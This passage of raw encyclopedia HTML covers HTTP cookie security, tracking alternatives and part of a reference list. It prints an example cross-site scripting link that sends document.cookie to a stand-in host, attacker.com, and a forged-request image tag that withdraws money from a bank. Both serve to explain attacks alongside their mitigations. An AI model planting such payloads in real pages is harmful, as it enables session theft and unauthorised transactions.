href="/wiki/HTTPS" title="HTTPS">HTTPS</a> protocol) to encrypt the connection. A server can specify the <code>Secure</code> flag while setting a cookie, which will cause the browser to send the cookie only over an encrypted channel, such as a TLS connection.<sup id="cite_ref-httponlyrfc_46-1" class="reference"><a href="#cite_note-httponlyrfc-46"><span class="cite-bracket">[</span>46<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="Publishing_false_sub-domain:_DNS_cache_poisoning">Publishing false sub-domain: DNS cache poisoning</h3></div> <p>If an attacker is able to cause a <a href="/wiki/DNS_server" class="mw-redirect" title="DNS server">DNS server</a> to cache a fabricated DNS entry (called <a href="/wiki/DNS_cache_poisoning" class="mw-redirect" title="DNS cache poisoning">DNS cache poisoning</a>), then this could allow the attacker to gain access to a user's cookies. For example, an attacker could use DNS cache poisoning to create a fabricated DNS entry of <code>f12345.www.example.com</code> that points to the <a href="/wiki/IP_address" title="IP address">IP address</a> of the attacker's server. The attacker can then post an image URL from his own server (for example, <code>http://f12345.www.example.com/img_4_cookie.jpg</code>). Victims reading the attacker's message would download this image from <code>f12345.www.example.com</code>. Since <code>f12345.www.example.com</code> is a sub-domain of <code>www.example.com</code>, victims' browsers would submit all <code>example.com</code>-related cookies to the attacker's server. </p><p>If an attacker is able to accomplish this, it is usually the fault of the <a href="/wiki/Internet_Service_Provider" class="mw-redirect" title="Internet Service Provider">Internet Service Providers</a> for not properly securing their DNS servers. However, the severity of this attack can be lessened if the target website uses secure cookies. In this case, the attacker would have the extra challenge<sup id="cite_ref-certificatehack_95-0" class="reference"><a href="#cite_note-certificatehack-95"><span class="cite-bracket">[</span>95<span class="cite-bracket">]</span></a></sup> of obtaining the target website's TLS certificate from a <a href="/wiki/Certificate_authority" title="Certificate authority">certificate authority</a>, since secure cookies can only be transmitted over an encrypted connection. Without a matching TLS certificate, victims' browsers would display a warning message about the attacker's invalid certificate, which would help deter users from visiting the attacker's fraudulent website and sending the attacker their cookies. </p> <div class="mw-heading mw-heading3"><h3 id="Cross-site_scripting:_cookie_theft">Cross-site scripting: cookie theft</h3></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="/wiki/Cross-site_scripting" title="Cross-site scripting">Cross-site scripting</a></div> <p>Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered <a href="/wiki/HTML" title="HTML">HTML</a> and <a href="/wiki/JavaScript" title="JavaScript">JavaScript</a> content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls. </p><p>As an example, an attacker may post a message on <code>www.example.com</code> with the following link: </p> <div class="mw-highlight mw-highlight-lang-html mw-content-ltr" dir="ltr"><pre><span></span><span class="p"><</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">"#"</span> <span class="na">onclick</span><span class="o">=</span><span class="s">"window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;"</span><span class="p">></span>Click here!<span class="p"></</span><span class="nt">a</span><span class="p">></span> </pre></div> <figure class="mw-default-size" typeof="mw:File/Thumb"><a href="/wiki/File:Cookie-theft.svg" class="mw-file-description"><img src="//upload.wikimedia.org/wikipedia/commons/thumb/7/7a/Cookie-theft.svg/220px-Cookie-theft.svg.png" decoding="async" width="220" height="110" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/7/7a/Cookie-theft.svg/330px-Cookie-theft.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/7/7a/Cookie-theft.svg/440px-Cookie-theft.svg.png 2x" data-file-width="200" data-file-height="100" /></a><figcaption>Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.</figcaption></figure> <p>When another user clicks on this link, the browser executes the piece of code within the <code>onclick</code> attribute, thus replacing the string <code>document.cookie</code> with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the <code>attacker.com</code> server. If the attacker's malicious posting is on an HTTPS website <code>https://www.example.com</code>, secure cookies will also be sent to attacker.com in plain text. </p><p>It is the responsibility of the website developers to filter out such malicious code. </p><p>Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies. </p> <div class="mw-heading mw-heading3"><h3 id="Cross-site_scripting:_proxy_request">Cross-site scripting: proxy request</h3></div> <p>In older versions of many browsers, there were security holes in the implementation of the <a href="/wiki/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a> API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the <a href="/wiki/Same-origin_policy" title="Same-origin policy">same-origin policy</a>. For example, a victim is reading an attacker's posting on <code>www.example.com</code>, and the attacker's script is executed in the victim's browser. The script generates a request to <code>www.example.com</code> with the proxy server <code>attacker.com</code>. Since the request is for <code>www.example.com</code>, all <code>example.com</code> cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies. </p><p>This attack would not work with secure cookies, since they can only be transmitted over <a href="/wiki/HTTPS" title="HTTPS">HTTPS</a> connections, and the HTTPS protocol dictates <a href="/wiki/End-to-end_encryption" title="End-to-end encryption">end-to-end encryption</a> (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request. </p> <div class="mw-heading mw-heading3"><h3 id="Cross-site_request_forgery">Cross-site request forgery</h3></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="/wiki/Cross-site_request_forgery" title="Cross-site request forgery">Cross-site request forgery</a></div> <p>For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g., </p> <div class="mw-highlight mw-highlight-lang-xml mw-content-ltr" dir="ltr"><pre><span></span><span class="nt"><img</span><span class="w"> </span><span class="na">src=</span><span class="s">"http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"</span><span class="nt">></span> </pre></div> <p>If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval. </p> <div class="mw-heading mw-heading3"><h3 id="Cookiejacking">Cookiejacking</h3></div> <p><b>Cookiejacking</b> is an attack against <a href="/wiki/Internet_Explorer" title="Internet Explorer">Internet Explorer</a> which allows the attacker to steal <a href="/wiki/Session_cookie" class="mw-redirect" title="Session cookie">session cookies</a> of a user by tricking a user into dragging an object across the screen.<sup id="cite_ref-finkle_96-0" class="reference"><a href="#cite_note-finkle-96"><span class="cite-bracket">[</span>96<span class="cite-bracket">]</span></a></sup> Microsoft deemed the flaw low-risk because of "the level of required user interaction",<sup id="cite_ref-finkle_96-1" class="reference"><a href="#cite_note-finkle-96"><span class="cite-bracket">[</span>96<span class="cite-bracket">]</span></a></sup> and the necessity of having a user already logged into the website whose cookie is stolen.<sup id="cite_ref-whitney_97-0" class="reference"><a href="#cite_note-whitney-97"><span class="cite-bracket">[</span>97<span class="cite-bracket">]</span></a></sup> Despite this, a researcher tried the attack on 150 of their Facebook friends and obtained cookies of 80 of them via <a href="/wiki/Social_engineering_(security)" title="Social engineering (security)">social engineering</a>.<sup id="cite_ref-finkle_96-2" class="reference"><a href="#cite_note-finkle-96"><span class="cite-bracket">[</span>96<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading2"><h2 id="Drawbacks_of_cookies">Drawbacks of cookies</h2></div> <p>Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer (<a href="/wiki/Representational_State_Transfer" class="mw-redirect" title="Representational State Transfer">REST</a>) software architectural style.<sup id="cite_ref-tBPhf_98-0" class="reference"><a href="#cite_note-tBPhf-98"><span class="cite-bracket">[</span>98<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-gdVMy_99-0" class="reference"><a href="#cite_note-gdVMy-99"><span class="cite-bracket">[</span>99<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="Inaccurate_identification">Inaccurate identification</h3></div> <p>If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.<sup id="cite_ref-sD3KB_100-0" class="reference"><a href="#cite_note-sD3KB-100"><span class="cite-bracket">[</span>100<span class="cite-bracket">]</span></a></sup> </p><p>Likewise, cookies do not differentiate between multiple users who share the same <a href="/wiki/User_account" class="mw-redirect" title="User account">user account</a>, computer, and browser. </p> <div class="mw-heading mw-heading2"><h2 id="Alternatives_to_cookies">Alternatives to cookies</h2></div> <p>Some of the operations that can be done using cookies can also be done using other mechanisms. </p> <div class="mw-heading mw-heading3"><h3 id="Authentication_and_session_management">Authentication and session management</h3></div> <div class="mw-heading mw-heading4"><h4 id="JSON_Web_Tokens">JSON Web Tokens</h4></div> <p>A <a href="/wiki/JSON_Web_Token" title="JSON Web Token">JSON Web Token</a> (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application. </p> <div class="mw-heading mw-heading4"><h4 id="HTTP_authentication">HTTP authentication</h4></div> <p>The HTTP protocol includes the <a href="/wiki/Basic_access_authentication" title="Basic access authentication">basic access authentication</a> and the <a href="/wiki/Digest_access_authentication" title="Digest access authentication">digest access authentication</a> protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user. </p> <div class="mw-heading mw-heading4"><h4 id="URL_(query_string)"><span id="URL_.28query_string.29"></span>URL (query string)</h4></div> <p>The <a href="/wiki/Query_string" title="Query string">query string</a> part of the <a href="/wiki/Uniform_Resource_Locator" class="mw-redirect" title="Uniform Resource Locator">URL</a> is the part that is typically used for this purpose, but other parts can be used as well. The <a href="/wiki/Java_Servlet" class="mw-redirect" title="Java Servlet">Java Servlet</a> and <a href="/wiki/PHP" title="PHP">PHP</a> session mechanisms both use this method if cookies are not enabled. </p><p>This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state. </p><p>These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by <a href="/wiki/E-mail" class="mw-redirect" title="E-mail">e-mail</a>, those preferences will be used for that other user as well. </p><p>Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page <i>internal to the site</i> the first time, and then visits the same page by coming from an <i>external <a href="/wiki/Search_engine" title="Search engine">search engine</a></i> the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same. </p><p>Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables <a href="/wiki/Session_fixation" title="Session fixation">session fixation</a> attacks, <a href="/wiki/HTTP_referer" title="HTTP referer">referer</a> logging attacks and other <a href="/wiki/Exploit_(computer_security)" title="Exploit (computer security)">security exploits</a>. Transferring session identifiers as HTTP cookies is more secure. </p> <div class="mw-heading mw-heading4"><h4 id="Hidden_form_fields">Hidden form fields</h4></div> <p>Another form of session tracking is to use <a href="/wiki/Form_(web)" class="mw-redirect" title="Form (web)">web forms</a> with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the <a href="/wiki/HTTP" title="HTTP">HTTP</a> GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie. </p><p>This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example). </p> <div class="mw-heading mw-heading4"><h4 id="window.name_DOM_property">window.name DOM property</h4></div> <p>All current web browsers can store a fairly large amount of data (2–32 MB) via JavaScript using the <a href="/wiki/Document_Object_Model" title="Document Object Model">DOM</a> property <code>window.name</code>. This data can be used instead of session cookies. The technique can be coupled with <a href="/wiki/JSON" title="JSON">JSON</a>/JavaScript objects to store complex sets of session variables on the client side. </p><p>The downside is that every separate window or <a href="/wiki/Tabbed_document_interface" class="mw-redirect" title="Tabbed document interface">tab</a> will initially have an empty <code>window.name</code> property when opened. </p><p>In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks. </p> <div class="mw-heading mw-heading3"><h3 id="Tracking_2">Tracking</h3></div> <div class="mw-heading mw-heading4"><h4 id="IP_address">IP address</h4></div> <p>Some users may be tracked based on the <a href="/wiki/IP_address" title="IP address">IP address</a> of the computer requesting the page. The server knows the IP address of the computer running the browser (or the <a href="/wiki/Proxy_server" title="Proxy server">proxy</a>, if any is used) and could theoretically link a user's session to this IP address. </p><p>However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as <a href="/wiki/Tor_(anonymity_network)" class="mw-redirect" title="Tor (anonymity network)">Tor</a>, are designed to retain <a href="/wiki/Internet_anonymity" class="mw-redirect" title="Internet anonymity">Internet anonymity</a>, rendering tracking by IP address impractical, impossible, or a security risk. </p> <div class="mw-heading mw-heading4"><h4 id="ETag">ETag</h4></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="/wiki/HTTP_ETag#Tracking_using_ETags" title="HTTP ETag">HTTP ETag § Tracking using ETags</a></div> <p>Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can also enhance the preservation of ETag data. </p><p>ETags can be flushed in some browsers by clearing the <a href="/wiki/Browser_cache" class="mw-redirect" title="Browser cache">browser cache</a>. </p> <div class="mw-heading mw-heading4"><h4 id="Browser_cache">Browser cache</h4></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="/wiki/Web_cache" title="Web cache">Web cache</a></div> <p>The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource. </p><p>For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, <code>var userId = 3243242;</code>). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change. </p> <div class="mw-heading mw-heading4"><h4 id="Browser_fingerprint">Browser fingerprint</h4></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="/wiki/Device_fingerprint" title="Device fingerprint">Device fingerprint</a></div> <p>A <a href="/wiki/Browser_fingerprint" class="mw-redirect" title="Browser fingerprint">browser fingerprint</a> is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off. </p><p>Basic <a href="/wiki/Web_browser" title="Web browser">web browser</a> configuration information has long been collected by <a href="/wiki/Web_analytics" title="Web analytics">web analytics</a> services in an effort to accurately measure real human <a href="/wiki/Web_traffic" title="Web traffic">web traffic</a> and discount various forms of <a href="/wiki/Click_fraud" title="Click fraud">click fraud</a>. With the assistance of <a href="/wiki/Client-side_scripting" class="mw-redirect" title="Client-side scripting">client-side scripting</a> languages, collection of much more esoteric parameters is possible.<sup id="cite_ref-7MnkN_101-0" class="reference"><a href="#cite_note-7MnkN-101"><span class="cite-bracket">[</span>101<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-H8nQP_102-0" class="reference"><a href="#cite_note-H8nQP-102"><span class="cite-bracket">[</span>102<span class="cite-bracket">]</span></a></sup> Assimilation of such information into a single string constitutes a device fingerprint. In 2010, <a href="/wiki/Electronic_Frontier_Foundation" title="Electronic Frontier Foundation">EFF</a> measured at least 18.1 bits of <a href="/wiki/Entropy_(information_theory)" title="Entropy (information theory)">entropy</a> possible from browser fingerprinting.<sup id="cite_ref-Ar32G_103-0" class="reference"><a href="#cite_note-Ar32G-103"><span class="cite-bracket">[</span>103<span class="cite-bracket">]</span></a></sup> <a href="/wiki/Canvas_fingerprinting" title="Canvas fingerprinting">Canvas fingerprinting</a>, a more recent technique, claims to add another 5.7 bits. </p> <div class="mw-heading mw-heading3"><h3 id="Web_storage">Web storage</h3></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main article: <a href="/wiki/Web_storage" title="Web storage">Web storage</a></div> <p>Some web browsers support persistence mechanisms which allow the page to store the information locally for later use. </p><p>The <a href="/wiki/HTML5" title="HTML5">HTML5</a> standard (which most modern web browsers support to some extent) includes a JavaScript API called <a href="/wiki/Web_storage" title="Web storage">Web storage</a> that allows two types of storage: local storage and session storage. Local storage behaves similarly to <a href="#Persistent_cookie">persistent cookies</a> while session storage behaves similarly to <a href="#Session_cookie">session cookies</a>, except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.<sup id="cite_ref-7Tuzm_104-0" class="reference"><a href="#cite_note-7Tuzm-104"><span class="cite-bracket">[</span>104<span class="cite-bracket">]</span></a></sup> </p><p>Internet Explorer supports persistent information<sup id="cite_ref-dttaK_105-0" class="reference"><a href="#cite_note-dttaK-105"><span class="cite-bracket">[</span>105<span class="cite-bracket">]</span></a></sup> in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk. </p><p>Some web browser plugins include persistence mechanisms as well. For example, <a href="/wiki/Adobe_Flash" title="Adobe Flash">Adobe Flash</a> has <a href="/wiki/Local_shared_object" title="Local shared object">Local shared object</a> and <a href="/wiki/Microsoft_Silverlight" title="Microsoft Silverlight">Microsoft Silverlight</a> has Isolated storage.<sup id="cite_ref-7LUgp_106-0" class="reference"><a href="#cite_note-7LUgp-106"><span class="cite-bracket">[</span>106<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading2"><h2 id="See_also">See also</h2></div> <style data-mw-deduplicate="TemplateStyles:r1239009302">.mw-parser-output .portalbox{padding:0;margin:0.5em 0;display:table;box-sizing:border-box;max-width:175px;list-style:none}.mw-parser-output .portalborder{border:1px solid var(--border-color-base,#a2a9b1);padding:0.1em;background:var(--background-color-neutral-subtle,#f8f9fa)}.mw-parser-output .portalbox-entry{display:table-row;font-size:85%;line-height:110%;height:1.9em;font-style:italic;font-weight:bold}.mw-parser-output .portalbox-image{display:table-cell;padding:0.2em;vertical-align:middle;text-align:center}.mw-parser-output .portalbox-link{display:table-cell;padding:0.2em 0.2em 0.2em 0.3em;vertical-align:middle}@media(min-width:720px){.mw-parser-output .portalleft{clear:left;float:left;margin:0.5em 1em 0.5em 0}.mw-parser-output .portalright{clear:right;float:right;margin:0.5em 0 0.5em 1em}}</style><ul role="navigation" aria-label="Portals" class="noprint portalbox portalborder portalright"> <li class="portalbox-entry"><span class="portalbox-image"><span class="noviewer" typeof="mw:File"><a href="/wiki/File:Crystal_Clear_app_linneighborhood.svg" class="mw-file-description"><img alt="icon" src="//upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Crystal_Clear_app_linneighborhood.svg/28px-Crystal_Clear_app_linneighborhood.svg.png" decoding="async" width="28" height="28" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Crystal_Clear_app_linneighborhood.svg/42px-Crystal_Clear_app_linneighborhood.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/f/f9/Crystal_Clear_app_linneighborhood.svg/56px-Crystal_Clear_app_linneighborhood.svg.png 2x" data-file-width="407" data-file-height="407" /></a></span></span><span class="portalbox-link"><a href="/wiki/Portal:Internet" title="Portal:Internet">Internet portal</a></span></li><li class="portalbox-entry"><span class="portalbox-image"><span class="noviewer" typeof="mw:File"><a href="/wiki/File:Octicons-terminal.svg" class="mw-file-description"><img alt="icon" src="//upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Octicons-terminal.svg/24px-Octicons-terminal.svg.png" decoding="async" width="24" height="28" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Octicons-terminal.svg/37px-Octicons-terminal.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/6/6f/Octicons-terminal.svg/49px-Octicons-terminal.svg.png 2x" data-file-width="896" data-file-height="1024" /></a></span></span><span class="portalbox-link"><a href="/wiki/Portal:Computer_programming" title="Portal:Computer programming">Computer programming portal</a></span></li></ul> <ul><li><a href="/wiki/Session_(computer_science)" title="Session (computer science)">Session (computer science)</a></li> <li><a href="/wiki/Secure_cookie" title="Secure cookie">Secure cookie</a></li> <li><a href="/wiki/HTTP_Strict_Transport_Security#Privacy_issues" title="HTTP Strict Transport Security">HTTP Strict Transport Security § Privacy issues</a></li></ul> <div class="mw-heading mw-heading2"><h2 id="References">References</h2></div> <style data-mw-deduplicate="TemplateStyles:r1239543626">.mw-parser-output .reflist{margin-bottom:0.5em;list-style-type:decimal}@media screen{.mw-parser-output .reflist{font-size:90%}}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}</style><div class="reflist"> <div class="mw-references-wrap mw-references-columns"><ol class="references"> <li id="cite_note-1"><span class="mw-cite-backlink"><b><a href="#cite_ref-1">^</a></b></span> <span class="reference-text"><style data-mw-deduplicate="TemplateStyles:r1238218222">.mw-parser-output cite.citation{font-style:inherit;word-wrap:break-word}.mw-parser-output .citation q{quotes:"\"""\"""'""'"}.mw-parser-output .citation:target{background-color:rgba(0,127,255,0.133)}.mw-parser-output .id-lock-free.id-lock-free a{background:url("//upload.wikimedia.org/wikipedia/commons/6/65/Lock-green.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-limited.id-lock-limited a,.mw-parser-output .id-lock-registration.id-lock-registration a{background:url("//upload.wikimedia.org/wikipedia/commons/d/d6/Lock-gray-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-subscription.id-lock-subscription a{background:url("//upload.wikimedia.org/wikipedia/commons/a/aa/Lock-red-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .cs1-ws-icon a{background:url("//upload.wikimedia.org/wikipedia/commons/4/4c/Wikisource-logo.svg")right 0.1em center/12px no-repeat}body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-free a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-limited a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-registration a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-subscription a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .cs1-ws-icon a{background-size:contain;padding:0 1em 0 0}.mw-parser-output .cs1-code{color:inherit;background:inherit;border:none;padding:inherit}.mw-parser-output .cs1-hidden-error{display:none;color:var(--color-error,#d33)}.mw-parser-output .cs1-visible-error{color:var(--color-error,#d33)}.mw-parser-output .cs1-maint{display:none;color:#085;margin-left:0.3em}.mw-parser-output .cs1-kern-left{padding-left:0.2em}.mw-parser-output .cs1-kern-right{padding-right:0.2em}.mw-parser-output .citation .mw-selflink{font-weight:inherit}@media screen{.mw-parser-output .cs1-format{font-size:95%}html.skin-theme-clientpref-night .mw-parser-output .cs1-maint{color:#18911f}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .cs1-maint{color:#18911f}}</style><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.cisco.com/c/en/us/support/docs/security/web-security-appliance/117925-technote-csc-00.html">"What are cookies? What are the differences between them (session vs. persistent)?"</a>. <i>Cisco</i>. 17 July 2018. 117925.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Cisco&rft.atitle=What+are+cookies%3F+What+are+the+differences+between+them+%28session+vs.+persistent%29%3F&rft.date=2018-07-17&rft_id=https%3A%2F%2Fwww.cisco.com%2Fc%2Fen%2Fus%2Fsupport%2Fdocs%2Fsecurity%2Fweb-security-appliance%2F117925-technote-csc-00.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-UjTred-2"><span class="mw-cite-backlink">^ <a href="#cite_ref-UjTred_2-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-UjTred_2-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFVamosi2008" class="citation web cs1">Vamosi, Robert (14 April 2008). <a rel="nofollow" class="external text" href="http://news.cnet.com/8301-10789_3-9918582-57.html">"Gmail cookie stolen via Google Spreadsheets"</a>. <i>News.cnet.com</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20131209210402/http://news.cnet.com/8301-10789_3-9918582-57.html">Archived</a> from the original on 9 December 2013<span class="reference-accessdate">. Retrieved <span class="nowrap">19 October</span> 2017</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=News.cnet.com&rft.atitle=Gmail+cookie+stolen+via+Google+Spreadsheets&rft.date=2008-04-14&rft.aulast=Vamosi&rft.aufirst=Robert&rft_id=http%3A%2F%2Fnews.cnet.com%2F8301-10789_3-9918582-57.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-mb6wv-3"><span class="mw-cite-backlink"><b><a href="#cite_ref-mb6wv_3-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://webcookies.org/faq/#Directive">"What about the "EU Cookie Directive"?"</a>. WebCookies.org. 2013. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20171011095259/https://webcookies.org/faq/#Directive">Archived</a> from the original on 11 October 2017<span class="reference-accessdate">. Retrieved <span class="nowrap">19 October</span> 2017</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=What+about+the+%22EU+Cookie+Directive%22%3F&rft.pub=WebCookies.org&rft.date=2013&rft_id=http%3A%2F%2Fwebcookies.org%2Ffaq%2F%23Directive&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-eulaw-4"><span class="mw-cite-backlink"><b><a href="#cite_ref-eulaw_4-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation news cs1"><a rel="nofollow" class="external text" href="https://www.bbc.co.uk/news/technology-12668552">"New net rules set to make cookies crumble"</a>. <i>BBC</i>. 8 March 2011. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20180810220427/https://www.bbc.co.uk/news/technology-12668552">Archived</a> from the original on 10 August 2018<span class="reference-accessdate">. Retrieved <span class="nowrap">21 June</span> 2018</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=BBC&rft.atitle=New+net+rules+set+to+make+cookies+crumble&rft.date=2011-03-08&rft_id=https%3A%2F%2Fwww.bbc.co.uk%2Fnews%2Ftechnology-12668552&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-KM1a4-5"><span class="mw-cite-backlink"><b><a href="#cite_ref-KM1a4_5-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://adage.com/article/digital/sen-rockefeller-ready-a-real-track-bill/227426/">"Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising"</a>. <i>Adage.com</i>. 6 May 2011. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110824225528/http://adage.com/article/digital/sen-rockefeller-ready-a-real-track-bill/227426/">Archived</a> from the original on 24 August 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">2 June</span> 2011</span>.</cite><span 